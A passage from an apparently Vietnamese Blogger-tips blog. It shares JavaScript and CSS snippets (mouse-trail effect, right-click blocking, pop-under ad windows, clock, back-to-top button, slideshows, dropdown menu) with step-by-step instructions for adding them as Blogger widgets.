function scrl(yx)
{
var y,x;
if (domSy)
{
y = r.pageYOffset;
x = r.pageXOffset;
}
else
{
y = r.scrollTop;
x = r.scrollLeft;
}
return (yx == 0)?y:x;
}

function mouse(e)
{
var msy = (domSy)?window.pageYOffset:0;
if (!e) e = window.event;
if (typeof e.pageY == 'number')
{
my = e.pageY - msy + 16;
mx = e.pageX + 6;
}
else
{
my = e.clientY - msy + 16;
mx = e.clientX + 6;
}
if (my > h-65) my = h-65;
if (mx > w-50) mx = w-50;
}

function assgn()
{
for (j = 0; j < 3; j++)
{
dy[j] = my + 50 * Math.cos(stp+j*evn*Math.PI/180) *

Math.sin((stp+j*25)/2) + scrl(0) + pix;
dx[j] = mx + 50 * Math.sin(stp+j*evn*Math.PI/180) *

Math.sin((stp+j*25)/2) * Math.sin(stp/4) + pix;
}
stp+=s;

for (i = 0; i < n; i++)
{
if (i < n-1)
{
vx[i].top = vx[i+1].top; vx[i].left = vx[i+1].left;
vy[i].top = vy[i+1].top; vy[i].left = vy[i+1].left;
vz[i].top = vz[i+1].top; vz[i].left = vz[i+1].left;
}
else
{
vx[i].top = dy[0]; vx[i].left = dx[0];
vy[i].top = dy[1]; vy[i].left = dx[1];
vz[i].top = dy[2]; vz[i].left = dx[2];
}
}
setTimeout(assgn,t);
}

function init()
{
for (i = 0; i < n; i++)
{
vx[i] = document.getElementById("x"+(idx+i)).style;
vy[i] = document.getElementById("y"+(idx+i)).style;
vz[i] = document.getElementById("z"+(idx+i)).style;
}
winsize();
assgn();
}

if (window.addEventListener)
{
window.addEventListener("resize",winsize,false);
window.addEventListener("load",init,false);
document.addEventListener("mousemove",mouse,false);
}
else
if (window.attachEvent)
{
window.attachEvent("onload",init);
document.attachEvent("onmousemove",mouse);
window.attachEvent("onresize",winsize);
}
</script>


- Trong đó:
+: Khu vực bôi vàng là mã màu của hiệu ứng
- HƯỚNG DẪN TRÊN BLOGSPOT
1. Vào bảng điều khiền Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
2. Dán code ở trên vào tiện ích vừa thêm...

Read More

Code khóa không cho Click chuột phải trên Website, blog

Làm thế nào để ngăn người xem Website, blog của mình Click chuột phải? Chỉ cho mình cách khóa không cho Click chuột phải trên Blogspot của mình...
Thủ thuật hôm nay mình chia sẻ Code cách khóa ngăn chặn nhấp chuột phải.

Chỉ với 1 đoạn code Javascript rất ngắn bạn đã được quyền không cho phép nhấp chuột phải trên trang của mình.
Code:

<script language='JavaScript1.2'>
function disableselect(e){
return false
}
function reEnable(){
return true
}
document.onselectstart=new Function ("return false")
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
</script>

- Đối với Blogspot bạn chỉ cần dán code trên vào tiện ích HTML/Javascript là hoạt động được.

---

Chúc các bạn vui vẻ

Read More

Code Popup under cho Web, blog - cửa sổ hiện sau trình duyệt

Code Popup cũng đã được mình giới thiệu 1 số Code Popup quảng cáo thông dụng nhất hiện nay và được nhiều bạn sử dụng.
- Dưới đây mình giới thiệu 1 dạng Popup nữa cũng được khá nhiều Webmaster sử dụng. Popup hiện cửa sổ sau trình duyệt Website, blog hiện tại của mình.

Popup under là hình thức quảng cáo Website nào đó, khi Website được đặt Popup xuất hiện phía sau trình duyệt Website đang truy cập
Lợi ích của Code Popup under:
- Kéo dài thời gian ở lại trang quảng cáo
- Gây ảnh hưởng ít đến người dùng
...
Hướng dẫn trên Blogger.
1. Vào bảng điều khiển Blogger - > Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/javascipt
2. Dán 1 trong 2 Code dưới đây vào tiện ích vừa thêm.
Code 1:

<script>
function popup() {
var url = "http://itviet360.com/";
window.open(url);
popWin = window.open(page,'popWin');
popWin.blur();
window.focus();
}
popup();
</script>


Code 2:

<script>

//Pop-under window- By JavaScript Kit
//Credit notice must stay intact for use
//Visit http://javascriptkit.com for this script

//specify page to pop-under
var popunder="http://itviet360.com/"

//specify popunder window features
//set 1 to enable a particular feature, 0 to disable
var winfeatures="width=800,height=510,scrollbars=1,resizable=1,toolbar=1,location=1,menubar=1,status=1,directories=0"

//Pop-under only once per browser session? (0=no, 1=yes)
//Specifying 0 will cause popunder to load every time page is loaded
var once_per_session=0

///No editing beyond here required/////

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function loadornot(){
if (get_cookie('popunder')==''){
loadpopunder()
document.cookie="popunder=yes"
}
}

function loadpopunder(){
win2=window.open(popunder,"",winfeatures)
win2.blur()
window.focus()
}

if (once_per_session==0)
loadpopunder()
else
loadornot()

</script>


- Hướng dẫn thêm trên Website, Blog có mã nguồn khác (hoàn toàn áp dụng được cho Blogger)
Các bạn chỉ cần dán 1 trong 2 đoạn code trên trước thẻ </head>

---

Chúc các bạn thành công!

Read More

Code Javascript tạo thêm đồng hồ cho Website, blog

Làm thế nào để thêm đồng hồ cho website? Blogger của mình muốn thêm đồng hồ.
Thủ thuật Blogspot hôm nay chia sẻ với các bạn 1 đoạn Code Javascript giúp website, blog của các bạn có thêm được 1 công cụ đo đồng hồ đơn giản và chuyên nghiệp

Demo trực tiếp: Demo thủ thuật blogspot
Code:

<form name="BM1">
<input type="text" name="MucVB" />
</form>

<script language="javascript">
function HamThoiGian(){
// Khoi tao doi tuong thoi gian.
var ThoiGian = new Date(); // Khoi tao doi tuong Date.
var Gio = ThoiGian.getHours(); // Lay gia tri gio tu doi tuong Date.
var Phut = ThoiGian.getMinutes(); // Lay phút tu doi tuong Date.
var Giay = ThoiGian.getSeconds(); // Lay giây tu doi tuong Date
// Thêm so 0 vào truoc so chi thoi gian neu nhu nó nho hon 10.
if(Gio<10){
Gio="0"+Gio;}
if(Phut<10){
Phut="0"+Phut;}
if(Giay<10){
Giay="0"+Giay;}
// Xuat ket qua ra muc nhap van ban có tên MucVB
document.BM1.MucVB.value="Bây giờ là: "+Gio+":"+Phut+":"+Giay;
// Goi lai hàm HamThoiGian sau moi mot giây trôi qua.
}
setInterval("HamThoiGian()",1000); // Su dung setInterval de goi lap di lap lai hàm HamThoiGian sau 1 giây.
</script>

- Hướng dẫn thêm thủ thuật vào blogspot.
1. Vào bảng điều khiển Blogger -> bố cục (Layout) -> thêm tiện ích (Add a Widget) -> HTML/Javascript
2. Dán đoạn code trên vào tiện ích vừa thêm.

Read More

Tạo thêm nút back to top cho blogspot - Website

Thủ thuật hôm nay mình chia sẻ đó là cách tạo thêm nút back to top "lên đầu trang" cho Website, blog.
Điều hướng người xem 1 cách đơn giản luôn là những điều 1 Website, blog cần có. Với việc đưa thủ thuật này vào blog sẽ làm được điều hướng đó.
- Sử dụng Jquery với hiệu ứng đặc biệt thú vị, khi người xem Website, blog của bạn đã ở vị trí Top trên rồi thì nít back to top sẽ tự động ẩn đi mất, nó chỉ xuất hiện khi người xem không còn ở trên đầu trang Web.

Xem Demo tại trang blog: Thuốc và cách chữa trị tàn nhang (Kéo xuống góc để thấy nhé các bạn)
Hướng dẫn thủ thuật trên blogspot:
1. Vào bảng điều khiển blogger -> mẫu (Template) -> chỉnh sửa HTML (Edit HTML)
2. Tìm tới (Ctrl + F) </head> và dán code dưới đây ngay trên nó
Code:

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js' type='text/javascript'/>

3. Tìm đến </body> và dán code dưới đây ngay trên nó
Code:

<style type='text/css'>
#bttop{position:fixed;bottom:30px;right:30px;cursor:pointer;display:none;z-index:9999}
#top-arrow{display:block;width:41px;height:40px;background:#111;border:1px solid #000;border-radius:50%;-webkit-transition:all .4s;-moz-transition:all .4s;transition:all .4s}
#top-arrow::after{content:"";width:0;height:0;position:absolute;top:0;right:13px;border-color:transparent transparent #f1f1f1;border-style:solid;border-width:13px 8px}
#top-arrow:hover{background:#1295C9;border:1px solid #FFFFFF}
</style>
<div id='bttop'><a href='javascript:void(0);' id='top-arrow' onclick='jQuery('html, body').animate({scrollTop:0}, 'slow');' title='Back-to-Top'/></div>
<script type='text/javascript'>$(function(){$(window).scroll(function(){if($(this).scrollTop()!=0){$('#bttop').fadeIn();}else{$('#bttop').fadeOut();}});$('#bttop').click(function(){$('body,html').animate({scrollTop:0},800);});});</script>

Trong đó:
- Phần bôi đỏ là để nút đó nằm bên phải, nếu nằm bên trái như trang itviet360 thì các bạn để đó là left nhé

Read More

Code mở popup cửa sổ quảng cáo nhỏ dưới góc màn hình

Làm thế nào để tạo được Popup quảng cáo windows nhỏ ở góc phải màn hình? Mình muốn chèn Code Popup cho mở cửa sổ nhỏ thôi ở dưới góc màn hình mà không được. Xin code Popup quảng cáo hiệu quả nhất....
Bài viết này mình chia sẻ code Popup mở new Windows ngay dưới góc màn hình.
Chắc các bạn cũng biết việc lợi và hại của đặt Popup. Chúng ta nên làm giảm tránh cái hại và đem lại hiệu quả cao nhất cho việc đặt Pop này.

Những điểm hay của Code Popup này:
- Xuất hiện 1 lần khi trình duyệt Website mở.
- Cửa sổ trang Website được Pop nhỏ ở góc màn hình -> kéo dài thời gian ở lại của Website được Pop.
...
Demo trực tiếp: http://anhbiafb.blogspot.com/ các bạn nhấp vào vị trí bất kỳ ở bên trang Demo và xem kết quả ở góc phải màn hình nhé.
Code:

<script>function addEvent(obj,eventName,func){if(obj.attachEvent){obj.attachEvent("on"+eventName,func);}else if(obj.addEventListener){obj.addEventListener(eventName,func,true);}else{obj["on"+eventName]=func;}}
addEvent(window,"load",function(e){addEvent(document.body,"click",function(e){var pX;pX=screen.width;if(!pX){pX=document.documentElement.clientWidth?document.documentElement.clientWidth:document.body.clientWidth;}
if(pX>800){if(document.cookie.indexOf("pnpopup=popactive")==-1){document.cookie='pnpopup=popactive';params='width=50';params+=', height=50';params+=', top=1650, left=1460, resizable=no, scrollbars=yes, location=yes';var w=window.open("http://itviet360.com/",'window1',params).blur();window.focus();}}});});</script>

Thay link bằng link http://itviet360.com/ Website các bạn cần đặt Pop nhé.
Trên các nền Website thì đây chỉ là 1 đoạn code javascript nên các bạn dán vào mã <script> là nó hoạt động.
- Hướng dẫn trên Blogspot.
Các bạn vào bảng điều khiển blogger -> bố cục (Layout) -> Thêm 1 tiện ích (Add a Widget) -> HTML/Javascript.
Sau đó dán code trên vào tiện ích vừa thêm và lưu lại là OK men :)

Code do anh Qúy tại blog dophuquy.com gửi.

Read More

Code popup Javascript tạo quảng cáo cho Web, blog [tổng hợp]

Theo yêu cầu của 1 số bạn. Ở bài viết này mình sẽ tổng hợp 1 số code Popup quảng cáo cho Website, blog. Mình sẽ cập nhật những code Popup javascript ở bài viết này luôn. Nên có thể các bạn sẽ quay lại bài viết này để xem cập nhật.

Khi ghé thăm Website có đặt Popup chắc hẳn bạn cũng sẽ không hài lòng, nhưng vì lý do quảng cáo nên Admin của Website vẫn phải sử dụng. Nên mình mong các bạn hãy thông cảm cho. Code Popup được nhiều người hài lòng nhất vẫn là những dạng code popup chỉ chạy popup 1 lần trong thời gian cố định. code mở new Tab, mở new windows nhỏ

1. Code Popup nhiều lần, cứ Click bất kỳ vị trí nào là nó lại nhảy 1 new Windows mới.
- Loại này thêm code thì rất đơn giản nhưng người xem rất không hài lòng.
Code:

<body onclick="open_popup()">
<script type="text/javascript">
function open_popup()
{
window.open("http://itviet360.com/")
}
</script>

Nếu muốn Popup nhiều trang thì bạn thêm những dòng Window.open tương tự

window.open("link Web muốn popup")

2. Code Popup theo thời gian 1 lần / 1 ngày / 1 địa chỉ IP
- Dạng này bạn xem ở bài viết đã hướng dẫn cụ thể: http://www.itviet360.com/2012/10/code-popup-javascript-xuat-hien-mot-lan.html
3. Code Popup mở new Tab
- Code này thì chỉ xuất hiện 1 lần / 1 lần mở trình duyệt. Nghĩa là khi bạn không tắt đi mở trình duyệt lại thì không bị popup lần nữa nhé.
- Xem chi tiết tại bài viết: http://www.itviet360.com/2012/10/code-popup-javascript-xuat-hien-mot-lan.html
4. Code javascript popup trên màn hình
- Loại code này rất được vì nó Popup lên giao diện màn hình luôn, và chỉ xuất hiện 1 lần. Người xem Website chỉ cần tắt nó đi là ổn. Không bị gây phiền, tuy nhiên hiệu quả
- Xem chi tiết tại: http://www.itviet360.com/2013/01/thua-thuat-jquery-popup-like-facebook-box-cho-web-blog.html
5. Dạng Javascript hiển thị góc màn hình.
- Loại này thì được sử dụng nhiều hơn vì nó không làm ảnh hưởng gì tới người xem webstie của bạn.
Xem chi tiết hướng dẫn dạng này tại bài viết: http://www.itviet360.com/2013/03/code-tao-quang-cao-goc-man-hinh-cho-web-blog.html
6. dạng code Popup mở cửa sổ nhỏ ở góc phải màn hình; Xem chi tiết tại bài viếthttp://www.itviet360.com/2013/04/code-mo-popup-cua-so-quang-cao-nho-duoi-goc-man-hinh.html

Tiếp tục cập nhật...

Read More

Jquery slideshow chạy ảnh đẹp cho Web, blogspot [V2]

Slide chạy ảnh đẹp luôn là những điểm nhấn trên 1 Website, blog. Slide đó bạn có thể trình bày những thông tin nổi bật như bài viết, quảng cáo, hình ảnh đẹp...1 hiệu ứng Slide đẹp cũng góp phần làm tô điểm thêm cái đẹp và sống động của trang Web. Ở bài viết hôm nay mình giới thiệu tới các bạn V2 của Slideshow Jquery chạy ảnh.

Xem thêm: Jquery slideshow chạy ảnh đẹp cho web, blog [V1]

Demo và hướng dẫn mình sử dụng trên nền Blogger, ở dạng Website các bạn làm tương tự, dán vị trí code là Javascript và HTML là OK. ^^

Demo trực tiếp

- Hướng dẫn thủ thuật:

1. Vào bảng điều khiển Blogger -> Bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript

2. Dán Code dưới đây vào tiện ích vừa thêm:

Code

<style type="text/css">

.container1 {
width: 660px;padding: 0;margin: 0 auto;
}
.folio_block {
position: absolute;left: 50%; top: 50%;margin: -140px 0 0 -395px;}
.main_view {float: left;position: relative;}
/*--Window/Masking Styles--*/
.window {-moz-box-shadow: 0px 0px 5px #303030;
-webkit-box-shadow: 0px 0px 5px #303030;
box-shadow: 0px 0px 5px #303030;border:1px solid #000000;height:240px; width: 660px;
margin-top:15px;overflow: hidden; /*--Hides anything outside of the set width/height--*/
position: relative;
}
.image_reel {
position: absolute;top: 0; left: 0;
}
.image_reel img {float: left;}
.paging_btrix {
position: absolute;bottom: 10px; right: -7px;width: 178px; height:47px;z-index: 100; /*--Assures the paging stays on the top layer--*/text-align: center;
line-height: 40px;
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUPDkD-91uZfZT9cjIiH-mKxhWpYPQYISJto7A7joxerauHj_3AImnvMqhd-z09kETaRNZVY5HdzIYJDjqDdNweaUUJyrVN8v4sdUWMhG89Jw9jmn59SbIH9Z3WYmwn7aKE1z9JBSyDuY/s1600/paging_btrix_bg2.png) no-repeat;
display: none;
}
.paging_btrix a {
padding: 5px;text-decoration: none;color: #fff;
}
.paging_btrix a.active {
font-weight: bold; background: #920000; border: 1px solid #610000;
-moz-border-radius: 3px;
-khtml-border-radius: 3px;
-webkit-border-radius: 3px;
}
.paging_btrix a:hover {font-weight: bold;}
</style>
<!-- Huong dan thu thuat http://itviet360.com -->
<div class="container1">
<div class="main_view">
<div class="window">
<div class="image_reel">
<a href="http://itviet360.com"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH5TY47Pv518123Qjp26T2OuyDgsnEbQNAIf3NlWwVYVx3pqC8w42fTxtUF2es039yCirIRvslSdx-nbuZ7-X1Mz-l0xRaoPCaaEYx6LyCSlozDBCdXddFPxWXCMz9d2LmhWQmBLDQfN1V/s1600/anh-bia-fb-tinh-yeu-10.jpg" alt="anh bia facebook tinh yeu dep buon" width='660' /></a>
<a href="http://itviet360.com"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRTrj49Cgt0jE8AOuE-EBmnfLG3e_-FVgMTX3zaQUGf2ZMVgz1OzwuySDcy-2obMlqvDGoLvFyFwPrpU6IyuhpcDZXWduuLcCZwOhA_otfjwHKHYcfxt29wpebYBmacNwRhGgkrqtwz6-/s1600/anh-bia-fb-tinh-yeu-11.jpg" width='660' alt="anh bia facebook tinh yeu dep buon" width='660' /></a>
<a href="http://itviet360.com"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwd4Wu0QDGWPdnjAHv6mpxJ93U1WVXZszgdDKkARFe1aLyMGdpBhF-Eovz1hktdV9KerEOMRasNMrrExROU12dm1PRb7wHIBOwuCNVrasbB6NLu__HJcpad0t7-PEq-Dw1qOS7hoRNStwg/s1600/anh-bia-tinh-yeu-dep-3.jpg" alt="anh bia facebook tinh yeu dep buon" width='660' /></a>
<a href="http://itviet360.com"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9StS5lNrT-x0VoADS5Yjp0kIr5nFGETVRuJT6qIWd5dBSWrk0EasZV_FPObuSReKHlQb2bblPYHa9k_x1O_R_fyWLkIj7DrubcvIa8eD6TBfCLbIUZIEtvfNEtqXYFEJP8oz8CdQZ6wYq/s1600/anh-bia-fb-tinh-yeu-1.jpg" alt="anh bia facebook tinh yeu dep buon" width='660' /></a>
</div>
</div>
<div class="paging_btrix">
<a href="#" rel="1">1</a>
<a href="#" rel="2">2</a>
<a href="#" rel="3">3</a>
<a href="#" rel="4">4</a>
</div>
</div>
</div>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script type="text/javascript">

$(document).ready(function() {

//Set Default State of each portfolio piece
$(".paging_btrix").show();
$(".paging_btrix a:first").addClass("active");

//Get size of images, how many there are, then determin the size of the image reel.
var imageWidth = $(".window").width();
var imageSum = $(".image_reel img").size();
var imageReelWidth = imageWidth * imageSum;

//Adjust the image reel to its new size
$(".image_reel").css({'width' : imageReelWidth});

//paging_btrix + Slider Function
rotate = function(){
var triggerID = $active.attr("rel") - 1; //Get number of times to slide
var image_reelPosition = triggerID * imageWidth; //Determines the distance the image reel needs to slide

$(".paging_btrix a").removeClass('active'); //Remove all active class
$active.addClass('active'); //Add active class (the $active is declared in the rotateSwitch function)

//Slider Animation
$(".image_reel").animate({
left: -image_reelPosition
}, 500 );

};

//Rotation + Timing Event
rotateSwitch = function(){
play = setInterval(function(){ //Set timer - this will repeat itself every 3 seconds
$active = $('.paging_btrix a.active').next();
if ( $active.length === 0) { //If paging_btrix reaches the end...
$active = $('.paging_btrix a:first'); //go back to first
}
rotate(); //Trigger the paging_btrix and slider function
}, 5000); //Timer speed in milliseconds (3 seconds)
};

rotateSwitch(); //Run function on launch

//On Hover
$(".image_reel a").hover(function() {
clearInterval(play); //Stop the rotation
}, function() {
rotateSwitch(); //Resume rotation
});

//On Click
$(".paging_btrix a").click(function() {
$active = $(this); //Activate the clicked paging_btrix
//Reset Timer
clearInterval(play); //Stop the rotation
rotate(); //Trigger rotation immediately
rotateSwitch(); // Resume rotation
return false; //Prevent browser jump to link anchor
});

});
</script>

Các điểm lưu ý mình đã in màu khác. Các bạn có thể chỉnh sửa theo ý của mình nhé.
- Lưu lại và xem kết quả :)

Read More

Jquery slideshow chạy ảnh đẹp cho web, blog [V1]

Làm thế nào để thêm slideshow chạy hình ảnh đẹp, khuyến mãi hấp dẫn cho blog, website ?
1 thủ thuật khá đơn giản là chúng ta sử dụng Jquery để làm được slide ảnh đó. Ở bài viết này mình gửi tới các bạn code và hướng dẫn thủ thuật trên blogger

Demo trực tiếp

Code:

<style>
.nivoSlider {
position:relative;
}
.nivoSlider img {
position:absolute;
top:0px;
left:0px;
}
.nivoSlider a.nivo-imageLink {
position:absolute;
top:0px;
left:0px;
width:100%;
height:100%;
border:0;
padding:0;
margin:0;
z-index:60;
display:none;
}
/* The slices in the Slider */
.nivo-slice {
display:block;
position:absolute;
z-index:50;
height:100%;
}
/* Caption styles */
.nivo-caption {
position:absolute;
left:0px;
bottom:0px;
background:#000;
color:#fff;
opacity:0.8; /* Overridden by captionOpacity setting */
width:100%;
z-index:89;
}
.nivo-caption p {
padding:5px;
margin:0;
}
.nivo-caption a {
display:inline !important;
}
.nivo-html-caption {
display:none;
}
/* Direction nav styles (e.g. Next & Prev) */
.nivo-directionNav a {
position:absolute;
top:45%;
z-index:99;
cursor:pointer;
}
.nivo-prevNav {
left:0px;
}
.nivo-nextNav {
right:0px;
}
/* Control nav styles (e.g. 1,2,3...) */
.nivo-controlNav a {
position:relative;
z-index:99;
cursor:pointer;
}
.nivo-controlNav a.active {
font-weight:bold;
}
table {
border-collapse:separate;
border-spacing:0;
}
caption, th, td {
text-align:left;
font-weight:normal;
}
blockquote:before, blockquote:after,
q:before, q:after {
content:"";
}
blockquote, q {
quotes:"" "";
}
/* HTML5 tags */
header, section, footer,
aside, nav, article, figure {
display: block;
}
a, a:visited {
color:#2d3536;
text-decoration:none;
border-bottom:1px dotted #826a4d;
}
a:hover, a:active {
color:#9e805c;
text-decoration:none;
}
#slider-wrapper {
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilw3tAqeYf6lnKAMrmkiLpTrH-qEYnGypSrafW_0z15DZmWxMjp-vcDTsOQHWovGJaD52oiD0PrDAJ88CMcGBnHQKIgkmeXvbU78sEFpg7NIC1JNtDxoVUH2lzrZLx3qeUco1Bbp7L2Eo/s1600/slider.png) no-repeat;
width:494px;
height:310px;
margin:0 auto;
padding-top:23px;
margin-top:50px;
}

#slider {
position:relative;
width:430px;
height:250px;
margin-left:32px;
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-WWm3woEqBCgsrqMh1CH8GZtSW8OB94K-uLECzd9TKND19fP0UKc98eOO7iawl8QsBMfhD81ox0G7drGH_9ueUFSS18O9E7uo8QM5Nl7qcOv2FoNXp9h4d4Wf_76cQjMSCPxSZqaaa4k/s1600/loading.gif) no-repeat 50% 50%;
}
#slider img {
position:absolute;
top:0px;
left:0px;
display:none;
}
#slider a {
border:0;
display:block;
}

.nivo-controlNav {
position:absolute;
left:163px;
bottom:12px;
background: #000000;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
padding: 3px;
border: 2px solid #CCC;
opacity: 0.7;
z-index: 99;
}
.nivo-controlNav:hover{opacity: 1;}

.nivo-controlNav a {
display:block;
width:22px;
height:22px;
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKIjwydBxcvso9JPUbSoX3YYbAxBbRBB3QfCqDZHdt6ONFVJdnXywRtbj3XfD6W6hv5PjcoaLlaqe9ThDBlKkIOwR-6CIouepsdWwdhClZAEaadBueBuBmQg7n8OdXIJzimS9Let2crrI/s1600/bullets.png) no-repeat;
text-indent:-9999px;
border:0;
margin-right:0px;
float:left;
}
.nivo-controlNav a.active {
background-position:0 -22px;
}

.nivo-directionNav a {
display:block;
width:35px;
height:65px;
background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiP7NFVNqMnE256nocQgLy6PI8LOl01yp4ZBDhfhCd4h8qbcKedrPOELqcwiaf68VB9VWXoFARJGC7L3BvuW7KrPMG4MMWTR62wOx4KSdZgv4x9KBU2JZWJw7eSBJ3eZCSQQkXNukeLs90/s1600/arrows.png) no-repeat;
text-indent:-9999px;
border:0;
}
a.nivo-nextNav {
background-position:-35px 0;
right: -40px;
}
a.nivo-nextNav:hover{right: -41px;}

a.nivo-prevNav {
left:-40px;
}
a.nivo-prevNav:hover{left: -41px;}

.nivo-caption {
text-shadow:none;
font-family: Helvetica, Arial, sans-serif;
}
.nivo-caption a {
color:#efe9d1;
text-decoration:underline;
}
.nivo-directionNav a{top: 40%;}

.clear {
clear:both;
}
</style>
<br />
<div id="wrapper">
<div id="slider-wrapper">
<div class="nivoSlider" id="slider">
<img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj450xYdrf08c9L63nfYo9_C8xbvk0qgBrhBWSOUCRSLnvCkpabSdEQ1Gfo3n5sdAverQUjOD4AlSRd7qkdhFzA-E0XPkNRL9LW9B9T0QBfufnU_Pfl0Gri3qHylT21nQM23_4SljFNO4c/s1600/btrix-London_Barrier.jpg" />
<img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie-ujXR517svpR9cQpdE-JrOp6zDg5fYYF42z6X6c3Kfy3QFv_PUgAKjmk-r0YPHcoAUfFyzGna3nBnz1BxBVNrpEnsXqhHrlb3dRMGl0ZswfgTshdlXozUiQ5axReN4kvqZ7VN-bfqFg/s1600/btrix-sunset.jpg" />
<img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOCKppg48_3QBL6tKhOc-gRwfLxn245B88WJwb-hRP4FgyU_yuoHsV9NwZyPr3EcKztbGgHM3E1XvsbIyjP0fF53xk-LmUHAHbP6gtwKwETVkm5aic97ac5xLxAMjqZMBJguXTNAwEK3s/s1600/btrix-car-wallpapers.jpg" />
<img alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFsZ4KoV3VeJFlYzAItWDXZJbqGsOAyNm-wvN7-auLIlqaHnx76PLnjJFM94cc87EMxFTBWutfwgUZmqS11ViIuahOIDYxS-qjZhp5brDbZTwa0wC-YDjWM4ZdErMWGnzchR1kTvfnoOM/s1600/btrix-spring-nature.jpg" />
</div>
</div>
</div>

<script src="http://bloggertrixcode.googlecode.com/files/jquery-1.4.3.min.js" type="text/javascript"></script>
<script src="http://bloggertrixcode.googlecode.com/files/jquery.nivo.slider.pack.js" type="text/javascript"></script>
<script type="text/javascript">
$(window).load(function() {
$('#slider').nivoSlider({directionNavHide:false});
});
</script>

Trong đó:
Code bôi xanh là CSS, Code bôi đỏ là HTML + Javascript.
Link hình ảnh các bạn thay thế bằng ảnh của mình.
Hướng dẫn thêm cho blogspot:
- Thêm 1 tiện ích và dán Code ở trên vào tiện ích đó. Tiện ích HTML/ Javascript đó nên thêm ở trên phần bài đăng.

Read More

Tạo Menu jQuery Horizontal trỏ xuống ngang cho Web, blog

Làm thế nào để thêm menu trỏ xuống ngang cho Website, blog? Mình muốn tạo menu ngang trên blogspot của mình thì làm thế nào?
Code sử dụng cho dạng menu đó thì CSS cũng làm được nhưng có vẻ không đẹp bằng JQuery. Ở bài viết này mình giới thiệu tới các bạn code đó và hướng dẫn thủ thuật trên blogspot. Đối với Website thì các bạn chèn theo hình thức code JS và HTML tương tự

Code này mình chia làm 2 phần. Phần code Jquery + CSS và Code HTML.
Code  Jquery + CSS:

<style type='text/css'>

ul#topnav {
margin: 0; padding: 0;
float: left;
width: 100%;
list-style: none;
position: relative;
font-size: 1.2em;
background: #383838;
}
ul#topnav li {
float: left;
margin: 0; padding: 0;
border-right: 1px solid #fff;
}
ul#topnav li a {
padding: 10px 15px;
display: block;
color: #f0f0f0;
text-decoration: none;
}
ul#topnav li:hover { background: #1376c9 url() repeat-x; }
ul#topnav li span {
float: left;
padding: 15px 0;
position: absolute;
left: 0; top:35px;
display: none;
width: 100%;
background: #1376c9;
color: #fff;
-moz-border-radius-bottomright: 5px;
-khtml-border-radius-bottomright: 5px;
-webkit-border-bottom-right-radius: 5px;
-moz-border-radius-bottomleft: 5px;
-khtml-border-radius-bottomleft: 5px;
-webkit-border-bottom-left-radius: 5px;
}
ul#topnav li:hover span { display: block; }
ul#topnav li span a { display: inline; }
ul#topnav li span a:hover {text-decoration: underline;}
</style>
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js' type='text/javascript'/>
<script type='text/javascript'>
$(document).ready(function() {

$("ul#topnav li").hover(function() { //Hover over event on list item
$(this).css({ 'background' : '#1376c9 url() repeat-x'}); //Add background color + image on hovered list item
$(this).find("span").show(); //Show the subnav
} , function() { //on hover out...
$(this).css({ 'background' : 'none'}); //Ditch the background
$(this).find("span").hide(); //Hide the subnav
});

});
</script>

Tiếp theo là code HTML:

<ul id="topnav">

<li><a href="#">Home</a></li>
<li>
<a href="#">Blogger</a>
<span>
<a href="#">Widgets</a> |
<a href="#">Tip And Tricks</a> |
<a href="#">Basic</a>
</span>
</li>
<li>
<a href="#">Tutorials</a>
<span>
<a href="#">HTML</a> |
<a href="#">Java Script</a> |
<a href="#">CSS</a>
<a href="#">jQuery</a>
<a href="#">MooTools</a>
</span>
</li>
<li>
<a href="#">Templates</a>
<span>
<a href="#">1 Column</a> |
<a href="#">2 Column</a> |
<a href="#">3 Column</a> |
<a href="#">4 Column</a> |
<a href="#">Premium</a>
</span>
</li>
<li><a href="#">Subscribe</a></li>
<li><a href="#">Advertise</a></li>
<li><a href="#">Contact</a></li>

</ul>

Hướng dẫn thêm vào Blogger:
1. Vào bảng điều khiển blogger -> Mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
2. Dán code Jquery + CSS trước thẻ đóng </head> và lưu mẫu.
3. Vào bố cục (Layout) -> thêm tiện ích (Add a Widget) -> HTML/Javascript (tiện ích này thêm ở bên trên tiện ích POST nhé)
4. Dán code HTML vào tiện ích đó và lưu lại.

Read More

Menu CSS đa cấp động bên phải cho Web, blog

Website, blog của bạn có nhiều thư mục, nhiều nhóm con. Bạn muốn thiết kế Menu gọn và đẹp hơn Ở bài viết này mình giới thiệu tới các bạn mẫu menu CSS đa cấp động xổ xuống bên phải. Dạng menu CSS này các bạn có thể bắt gặp ở nhiều site khác nhau. Hiện tại thì site 24h.com.vn cũng sử dụng dạng menu này nhưng Code thì mình không biết có giống nhau không nữa.
